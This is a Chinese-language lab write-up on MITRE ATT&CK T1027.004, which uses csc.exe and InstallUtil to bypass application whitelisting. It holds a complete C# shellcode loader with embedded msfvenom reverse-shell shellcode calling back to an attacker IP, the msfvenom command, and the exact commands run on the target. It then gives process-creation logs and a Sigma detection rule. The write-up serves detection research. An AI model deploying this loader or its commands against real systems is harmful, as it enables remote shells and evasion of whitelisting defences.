T1027-004-win-基于白名单Csc.exe执行payload
来自ATT&CK的描述
许多软件开发相关的实用程序可用于执行各种形式的代码用于协助开发、调试和逆向工程。这些实用程序通常可以使用合法证书进行签名。签名后，它们就可以在系统上执行。通过可信的进程代理执行恶意代码，从而有效地绕过应用白名单防御解决方案。
测试案例
C#的在Windows平台下的编译器名称是Csc.exe，如果你的.NET FrameWork SDK安装在C盘，那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便，你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单，打开命令提示符，并切换到存放 test.cs文件的目录中，输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序
说明：Csc.exe所在路径没有被系统添加PATH环境变量中，因此，csc命令无法识别。
补充说明：在高版本操作系统中，可以通过配置策略，对进程命令行参数进行记录。日志策略开启方法：本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用，同样也可以在不同版本操作系统中部署sysmon，通过sysmon日志进行监控。
win7默认位置：
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
检测日志
windows 安全日志（需要自行配置）
测试复现
环境准备
攻击机：Kali2019
靶机：windows server 2012
测试过程
配置payload
msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp
copy buf 到 Micropoor_Csc.cs shellcode中。
Micropoor_Csc.cs
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
// msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.126.146 lport=4444 -f csharp
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
byte[] shellcode = new byte[510] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x11,0x5c,0xc0,0xa8,0x7e,0x92,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
靶机执行
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe
获取会话
未能成功获取会话，但不影响针对此行为进行分析。
测试留痕
事件ID： 4688
进程信息:
新进程 ID:0xa9c
新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0xaa0
进程命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:1.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\a\1.cs
事件ID： 4688
进程信息:
新进程 ID:0x984
新进程名称:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0xaa0
进程命令行:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\Administrator\Desktop\a\1.exe
检测规则/思路
sigma规则
title: Suspicious Parent of Csc.exe
description: Detects a suspicious parent of csc.exe, which could by a sign of payload delivery
status: experimental
references:
- https://twitter.com/SBousseaden/status/1094924091256176641
tags:
- attack.defense_evasion
- attack.t1027-004
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\csc.exe*'
ParentImage:
- '*\wscript.exe'
- '*\cscript.exe'
- '*\mshta.exe'
condition: selection
falsepositives:
- Unkown
level: high
建议
可根据进程创建事件4688/1（进程名称、命令行）进行监控。本监控方法需要自行安装配置审核策略Sysmon。
参考推荐
MITRE-ATT&CK-T1027-004
https://attack.mitre.org/techniques/T1027/004/
基于白名单Csc.exe执行payload第七季